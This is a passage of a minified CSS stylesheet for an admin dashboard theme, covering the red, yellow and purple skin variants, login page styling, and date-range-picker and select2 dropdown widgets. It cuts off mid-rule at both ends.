.nav>li>a:active,.skin-red .main-header .navbar .nav>li>a:focus,.skin-red .main-header .navbar .nav>li>a:hover,.skin-red .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-red .main-header .navbar .sidebar-toggle{color:#fff}.skin-red .main-header .navbar .sidebar-toggle:hover{background-color:#d73925}@media (max-width:767px){.skin-red .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-red .main-header .navbar .dropdown-menu li a{color:#fff}.skin-red .main-header .navbar .dropdown-menu li a:hover{background:#d73925}}.skin-red .main-header .logo{background-color:#d73925;color:#fff;border-bottom:0 solid transparent}.skin-red .main-header .logo:hover{background-color:#d33724}.skin-red .main-header li.user-header{background-color:#dd4b39}.skin-red .content-header{background:transparent}.skin-red .left-side,.skin-red .main-sidebar,.skin-red .wrapper{background-color:#222d32}.skin-red .user-panel>.info,.skin-red .user-panel>.info>a{color:#fff}.skin-red .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-red .sidebar-menu>li>a{border-left:3px solid transparent}.skin-red .sidebar-menu>li.active>a,.skin-red .sidebar-menu>li.menu-open>a,.skin-red .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-red .sidebar-menu>li.active>a{border-left-color:#dd4b39}.skin-red .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-red .sidebar a{color:#b8c7ce}.skin-red .sidebar a:hover{text-decoration:none}.skin-red .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-red .sidebar-menu .treeview-menu>li.active>a,.skin-red .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-red .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-red .sidebar-form .btn,.skin-red .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-red .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-red .sidebar-form input[type=text]:focus,.skin-red .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-red .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-red .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-red-light .main-header .navbar{background-color:#dd4b39}.skin-red-light .main-header .navbar .nav>li>a{color:#fff}.skin-red-light .main-header .navbar .nav .open>a,.skin-red-light .main-header .navbar .nav .open>a:focus,.skin-red-light .main-header .navbar .nav .open>a:hover,.skin-red-light .main-header .navbar .nav>.active>a,.skin-red-light .main-header .navbar .nav>li>a:active,.skin-red-light .main-header .navbar .nav>li>a:focus,.skin-red-light .main-header .navbar .nav>li>a:hover,.skin-red-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-red-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-red-light .main-header .navbar .sidebar-toggle:hover{background-color:#d73925}@media (max-width:767px){.skin-red-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-red-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-red-light .main-header .navbar .dropdown-menu li a:hover{background:#d73925}}.skin-red-light .main-header .logo{background-color:#dd4b39;color:#fff;border-bottom:0 solid transparent}.skin-red-light .main-header .logo:hover{background-color:#dc4735}.skin-red-light .main-header li.user-header{background-color:#dd4b39}.skin-red-light .content-header{background:transparent}.skin-red-light .left-side,.skin-red-light .main-sidebar,.skin-red-light .wrapper{background-color:#f9fafc}.skin-red-light .main-sidebar{border-right:1px solid #d2d6de}.skin-red-light .user-panel>.info,.skin-red-light .user-panel>.info>a{color:#444}.skin-red-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-red-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-red-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-red-light .sidebar-menu>li.active>a,.skin-red-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-red-light .sidebar-menu>li.active{border-left-color:#dd4b39}.skin-red-light .sidebar-menu>li.active>a{font-weight:600}.skin-red-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-red-light .sidebar a{color:#444}.skin-red-light .sidebar a:hover{text-decoration:none}.skin-red-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-red-light .sidebar-menu .treeview-menu>li.active>a,.skin-red-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-red-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-red-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-red-light .sidebar-form .btn,.skin-red-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-red-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-red-light .sidebar-form input[type=text]:focus,.skin-red-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-red-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-red-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-red-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-yellow .main-header .navbar{background-color:#f39c12}.skin-yellow .main-header .navbar .nav>li>a{color:#fff}.skin-yellow .main-header .navbar .nav .open>a,.skin-yellow .main-header .navbar .nav .open>a:focus,.skin-yellow .main-header .navbar .nav .open>a:hover,.skin-yellow .main-header .navbar .nav>.active>a,.skin-yellow .main-header .navbar .nav>li>a:active,.skin-yellow .main-header .navbar .nav>li>a:focus,.skin-yellow .main-header .navbar .nav>li>a:hover,.skin-yellow .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-yellow .main-header .navbar .sidebar-toggle{color:#fff}.skin-yellow .main-header .navbar .sidebar-toggle:hover{background-color:#e08e0b}@media (max-width:767px){.skin-yellow .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-yellow .main-header .navbar .dropdown-menu li a{color:#fff}.skin-yellow .main-header .navbar .dropdown-menu li a:hover{background:#e08e0b}}.skin-yellow .main-header .logo{background-color:#e08e0b;color:#fff;border-bottom:0 solid transparent}.skin-yellow .main-header .logo:hover{background-color:#db8b0b}.skin-yellow .main-header li.user-header{background-color:#f39c12}.skin-yellow .content-header{background:transparent}.skin-yellow .left-side,.skin-yellow .main-sidebar,.skin-yellow .wrapper{background-color:#222d32}.skin-yellow .user-panel>.info,.skin-yellow .user-panel>.info>a{color:#fff}.skin-yellow .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-yellow .sidebar-menu>li>a{border-left:3px solid transparent}.skin-yellow .sidebar-menu>li.active>a,.skin-yellow .sidebar-menu>li.menu-open>a,.skin-yellow .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-yellow .sidebar-menu>li.active>a{border-left-color:#f39c12}.skin-yellow .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-yellow .sidebar a{color:#b8c7ce}.skin-yellow .sidebar a:hover{text-decoration:none}.skin-yellow .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-yellow .sidebar-menu .treeview-menu>li.active>a,.skin-yellow .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-yellow .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-yellow .sidebar-form .btn,.skin-yellow .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-yellow .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-yellow .sidebar-form input[type=text]:focus,.skin-yellow .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-yellow .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-yellow .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-yellow-light .main-header .navbar{background-color:#f39c12}.skin-yellow-light .main-header .navbar .nav>li>a{color:#fff}.skin-yellow-light .main-header .navbar .nav .open>a,.skin-yellow-light .main-header .navbar .nav .open>a:focus,.skin-yellow-light .main-header .navbar .nav .open>a:hover,.skin-yellow-light .main-header .navbar .nav>.active>a,.skin-yellow-light .main-header .navbar .nav>li>a:active,.skin-yellow-light .main-header .navbar .nav>li>a:focus,.skin-yellow-light .main-header .navbar .nav>li>a:hover,.skin-yellow-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-yellow-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-yellow-light .main-header .navbar .sidebar-toggle:hover{background-color:#e08e0b}@media (max-width:767px){.skin-yellow-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-yellow-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-yellow-light .main-header .navbar .dropdown-menu li a:hover{background:#e08e0b}}.skin-yellow-light .main-header .logo{background-color:#f39c12;color:#fff;border-bottom:0 solid transparent}.skin-yellow-light .main-header .logo:hover{background-color:#f39a0d}.skin-yellow-light .main-header li.user-header{background-color:#f39c12}.skin-yellow-light .content-header{background:transparent}.skin-yellow-light .left-side,.skin-yellow-light .main-sidebar,.skin-yellow-light .wrapper{background-color:#f9fafc}.skin-yellow-light .main-sidebar{border-right:1px solid #d2d6de}.skin-yellow-light .user-panel>.info,.skin-yellow-light .user-panel>.info>a{color:#444}.skin-yellow-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-yellow-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-yellow-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-yellow-light .sidebar-menu>li.active>a,.skin-yellow-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-yellow-light .sidebar-menu>li.active{border-left-color:#f39c12}.skin-yellow-light .sidebar-menu>li.active>a{font-weight:600}.skin-yellow-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-yellow-light .sidebar a{color:#444}.skin-yellow-light .sidebar a:hover{text-decoration:none}.skin-yellow-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-yellow-light .sidebar-menu .treeview-menu>li.active>a,.skin-yellow-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-yellow-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-yellow-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-yellow-light .sidebar-form .btn,.skin-yellow-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-yellow-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-yellow-light .sidebar-form input[type=text]:focus,.skin-yellow-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-yellow-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-yellow-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-yellow-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-purple .main-header .navbar{background-color:#605ca8}.skin-purple .main-header .navbar .nav>li>a{color:#fff}.skin-purple .main-header .navbar .nav .open>a,.skin-purple .main-header .navbar .nav .open>a:focus,.skin-purple .main-header .navbar .nav .open>a:hover,.skin-purple .main-header .navbar .nav>.active>a,.skin-purple .main-header .navbar .nav>li>a:active,.skin-purple .main-header .navbar .nav>li>a:focus,.skin-purple .main-header .navbar .nav>li>a:hover,.skin-purple .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-purple .main-header .navbar .sidebar-toggle{color:#fff}.skin-purple .main-header .navbar .sidebar-toggle:hover{background-color:#555299}@media (max-width:767px){.skin-purple .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-purple .main-header .navbar .dropdown-menu li a{color:#fff}.skin-purple .main-header .navbar .dropdown-menu li a:hover{background:#555299}}.skin-purple .main-header .logo{background-color:#555299;color:#fff;border-bottom:0 solid transparent}.skin-purple .main-header .logo:hover{background-color:#545096}.skin-purple .main-header li.user-header{background-color:#605ca8}.skin-purple .content-header{background:transparent}.skin-purple .left-side,.skin-purple .main-sidebar,.skin-purple .wrapper{background-color:#222d32}.skin-purple .user-panel>.info,.skin-purple .user-panel>.info>a{color:#fff}.skin-purple .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-purple .sidebar-menu>li>a{border-left:3px solid transparent}.skin-purple .sidebar-menu>li.active>a,.skin-purple .sidebar-menu>li.menu-open>a,.skin-purple .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-purple .sidebar-menu>li.active>a{border-left-color:#605ca8}.skin-purple .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-purple .sidebar a{color:#b8c7ce}.skin-purple .sidebar a:hover{text-decoration:none}.skin-purple .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-purple .sidebar-menu .treeview-menu>li.active>a,.skin-purple .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-purple .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-purple .sidebar-form .btn,.skin-purple .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-purple .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-purple .sidebar-form input[type=text]:focus,.skin-purple .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-purple .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-purple .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-purple-light .main-header .navbar{background-color:#605ca8}.skin-purple-light .main-header .navbar .nav>li>a{color:#fff}.skin-purple-light .main-header .navbar .nav .open>a,.skin-purple-light .main-header .navbar .nav .open>a:focus,.skin-purple-light .main-header .navbar .nav .open>a:hover,.skin-purple-light .main-header .navbar .nav>.active>a,.skin-purple-light .main-header .navbar .nav>li>a:active,.skin-purple-light .main-header .navbar .nav>li>a:focus,.skin-purple-light .main-header .navbar .nav>li>a:hover,.skin-purple-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-purple-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-purple-light .main-header .navbar .sidebar-toggle:hover{background-color:#555299}@media (max-width:767px){.skin-purple-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-purple-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-purple-light .main-header .navbar .dropdown-menu li a:hover{background:#555299}}.skin-purple-light .main-header .logo{background-color:#605ca8;color:#fff;border-bottom:0 solid transparent}.skin-purple-light .main-header .logo:hover{background-color:#5d59a6}.skin-purple-light .main-header li.user-header{background-color:#605ca8}.skin-purple-light .content-header{background:transparent}.skin-purple-light .left-side,.skin-purple-light .main-sidebar,.skin-purple-light .wrapper{background-color:#f9fafc}.skin-purple-light .main-sidebar{border-right:1px solid #d2d6de}.skin-purple-light .user-panel>.info,.skin-purple-light .user-panel>.info>a{color:#444}.skin-purple-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-purple-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-purple-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-purple-light .sidebar-menu>li.active>a,.skin-purple-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-purple-light .sidebar-menu>li.active{border-left-color:#605ca8}.skin-purple-light .sidebar-menu>li.active>a{font-weight:600}.skin-purple-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-purple-light .sidebar a{color:#444}.skin-purple-light .sidebar a:hover{text-decoration:none}.skin-purple-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-purple-light .sidebar-menu .treeview-menu>li.active>a,.skin-purple-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-purple-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-purple-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-purple-light .sidebar-form .btn,.skin-purple-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-purple-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-purple-light .sidebar-form input[type=text]:focus,.skin-purple-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-purple-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-purple-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-purple-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.sidebar-menu .treeview-menu>li>a>.fab,.sidebar-menu .treeview-menu>li>a>.fal,.sidebar-menu .treeview-menu>li>a>.far,.sidebar-menu .treeview-menu>li>a>.fas,.sidebar-menu>li>a>.fab,.sidebar-menu>li>a>.fal,.sidebar-menu>li>a>.far,.sidebar-menu>li>a>.fas{width:20px}.main-header .sidebar-toggle{font-family:Font Awesome\ 5 Free;font-weight:900}.login-page form label{padding-left:5px}.control-label.required:after{content:" *";font-size:110%}.timeline>li>.fab,.timeline>li>.fal,.timeline>li>.far,.timeline>li>.fas{width:30px;height:30px;font-size:15px;line-height:30px;position:absolute;color:#666;background:#d2d6de;border-radius:50%;text-align:center;left:18px;top:0}@media (min-width:768px){body.login-page .login-logo{padding-top:45px;margin-bottom:55px}}body.login-page .login-box-body{padding:20px;box-shadow:0 29px 147.5px 102.5px rgba(0,0,0,.05),0 29px 95px 0 rgba(0,0,0,.16)}body.login-page label{font-weight:400}body.login-page button.btn.btn-flat,body.login-page input[type=password],body.login-page input[type=text]{border-radius:3px}.daterangepicker{position:absolute;color:inherit;background-color:#fff;border-radius:4px;border:1px solid #ddd;width:278px;max-width:none;padding:0;margin-top:7px;top:100px;left:20px;z-index:3001;display:none;font-family:arial;font-size:15px;line-height:1em}.daterangepicker:after,.daterangepicker:before{position:absolute;display:inline-block;border-bottom-color:rgba(0,0,0,.2);content:""}.daterangepicker:before{top:-7px;border-right:7px solid transparent;border-left:7px solid transparent;border-bottom:7px solid #ccc}.daterangepicker:after{top:-6px;border-right:6px solid transparent;border-bottom:6px solid #fff;border-left:6px solid transparent}.daterangepicker.opensleft:before{right:9px}.daterangepicker.opensleft:after{right:10px}.daterangepicker.openscenter:after,.daterangepicker.openscenter:before{left:0;right:0;width:0;margin-left:auto;margin-right:auto}.daterangepicker.opensright:before{left:9px}.daterangepicker.opensright:after{left:10px}.daterangepicker.drop-up{margin-top:-7px}.daterangepicker.drop-up:before{top:auto;bottom:-7px;border-bottom:initial;border-top:7px solid #ccc}.daterangepicker.drop-up:after{top:auto;bottom:-6px;border-bottom:initial;border-top:6px solid #fff}.daterangepicker.single .daterangepicker .ranges,.daterangepicker.single .drp-calendar{float:none}.daterangepicker.single .drp-selected{display:none}.daterangepicker.show-calendar .drp-buttons,.daterangepicker.show-calendar .drp-calendar{display:block}.daterangepicker.auto-apply .drp-buttons{display:none}.daterangepicker .drp-calendar{display:none;max-width:270px}.daterangepicker .drp-calendar.left{padding:8px 0 8px 8px}.daterangepicker .drp-calendar.right{padding:8px}.daterangepicker .drp-calendar.single .calendar-table{border:none}.daterangepicker .calendar-table .next span,.daterangepicker .calendar-table .prev span{color:#fff;border:solid #000;border-width:0 2px 2px 0;border-radius:0;display:inline-block;padding:3px}.daterangepicker .calendar-table .next span{transform:rotate(-45deg);-webkit-transform:rotate(-45deg)}.daterangepicker .calendar-table .prev span{transform:rotate(135deg);-webkit-transform:rotate(135deg)}.daterangepicker .calendar-table td,.daterangepicker .calendar-table th{text-align:center;vertical-align:middle;min-width:32px;width:32px;height:24px;line-height:24px;font-size:12px;border-radius:4px;border:1px solid transparent;white-space:nowrap;cursor:pointer}.daterangepicker .calendar-table{border:1px solid #fff;border-radius:4px;background-color:#fff}.daterangepicker .calendar-table table{width:100%;margin:0;border-spacing:0;border-collapse:collapse}.daterangepicker td.available:hover,.daterangepicker th.available:hover{background-color:#eee;border-color:transparent;color:inherit}.daterangepicker td.week,.daterangepicker th.week{font-size:80%;color:#ccc}.daterangepicker td.off,.daterangepicker td.off.end-date,.daterangepicker td.off.in-range,.daterangepicker td.off.start-date{background-color:#fff;border-color:transparent;color:#999}.daterangepicker td.in-range{background-color:#ebf4f8;border-color:transparent;color:#000;border-radius:0}.daterangepicker td.start-date{border-radius:4px 0 0 4px}.daterangepicker td.end-date{border-radius:0 4px 4px 0}.daterangepicker td.start-date.end-date{border-radius:4px}.daterangepicker td.active,.daterangepicker td.active:hover{background-color:#357ebd;border-color:transparent;color:#fff}.daterangepicker th.month{width:auto}.daterangepicker option.disabled,.daterangepicker td.disabled{color:#999;cursor:not-allowed;text-decoration:line-through}.daterangepicker select.monthselect,.daterangepicker select.yearselect{font-size:12px;padding:1px;height:auto;margin:0;cursor:default}.daterangepicker select.monthselect{margin-right:2%;width:56%}.daterangepicker select.yearselect{width:40%}.daterangepicker select.ampmselect,.daterangepicker select.hourselect,.daterangepicker select.minuteselect,.daterangepicker select.secondselect{width:50px;margin:0 auto;background:#eee;border:1px solid #eee;padding:2px;outline:0;font-size:12px}.daterangepicker .calendar-time{text-align:center;margin:4px auto 0;line-height:30px;position:relative}.daterangepicker .calendar-time select.disabled{color:#ccc;cursor:not-allowed}.daterangepicker .drp-buttons{clear:both;text-align:right;padding:8px;border-top:1px solid #ddd;display:none;line-height:12px;vertical-align:middle}.daterangepicker .drp-selected{display:inline-block;font-size:12px;padding-right:8px}.daterangepicker .drp-buttons .btn{margin-left:8px;font-size:12px;font-weight:700;padding:4px 8px}.daterangepicker.show-ranges.single.rtl .drp-calendar.left{border-right:1px solid #ddd}.daterangepicker.show-ranges.single.ltr .drp-calendar.left{border-left:1px solid #ddd}.daterangepicker.show-ranges.rtl .drp-calendar.right{border-right:1px solid #ddd}.daterangepicker.show-ranges.ltr .drp-calendar.left{border-left:1px solid #ddd}.daterangepicker .ranges{float:none;text-align:left;margin:0}.daterangepicker.show-calendar .ranges{margin-top:8px}.daterangepicker .ranges ul{list-style:none;margin:0 auto;padding:0;width:100%}.daterangepicker .ranges li{font-size:12px;padding:8px 12px;cursor:pointer}.daterangepicker .ranges li:hover{background-color:#eee}.daterangepicker .ranges li.active{background-color:#08c;color:#fff}@media (min-width:564px){.daterangepicker{width:auto}.daterangepicker .ranges ul{width:140px}.daterangepicker.single .ranges ul{width:100%}.daterangepicker.single .drp-calendar.left{clear:none}.daterangepicker.single .drp-calendar,.daterangepicker.single .ranges{float:left}.daterangepicker{direction:ltr;text-align:left}.daterangepicker .drp-calendar.left{clear:left;margin-right:0}.daterangepicker .drp-calendar.left .calendar-table{border-right:none;border-top-right-radius:0;border-bottom-right-radius:0}.daterangepicker .drp-calendar.right{margin-left:0}.daterangepicker .drp-calendar.right .calendar-table{border-left:none;border-top-left-radius:0;border-bottom-left-radius:0}.daterangepicker .drp-calendar.left .calendar-table{padding-right:8px}.daterangepicker .drp-calendar,.daterangepicker .ranges{float:left}}@media (min-width:730px){.daterangepicker .ranges{width:auto;float:left}.daterangepicker.rtl .ranges{float:right}.daterangepicker .drp-calendar.left{clear:none!important}}.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir=rtl] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:#fff;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0!important;clip:rect(0 0 0 0)!important;-webkit-clip-path:inset(50%)!important;clip-path:inset(50%)!important;height:1px!important;overflow:hidden!important;padding:0!important;position:absolute!important;width:1px!important;white-space:nowrap!important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:700}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent;border-style:solid;border-width:5px 4px 0;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir=rtl] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir=rtl] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888;border-width:0 4px 5px}.select2-container--default .select2-selection--multiple{background-color:#fff;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:700;margin-top:5px;margin-right:10px;padding:1px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:700;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-search--inline,.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice{float:right}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir=rtl] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:1px solid #000;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple,.select2-container--default.select2-container--open.select2-container--above .select2-selection--single{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,.select2-container--default.select2-container--open.select2-container--below .select2-selection--single{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline 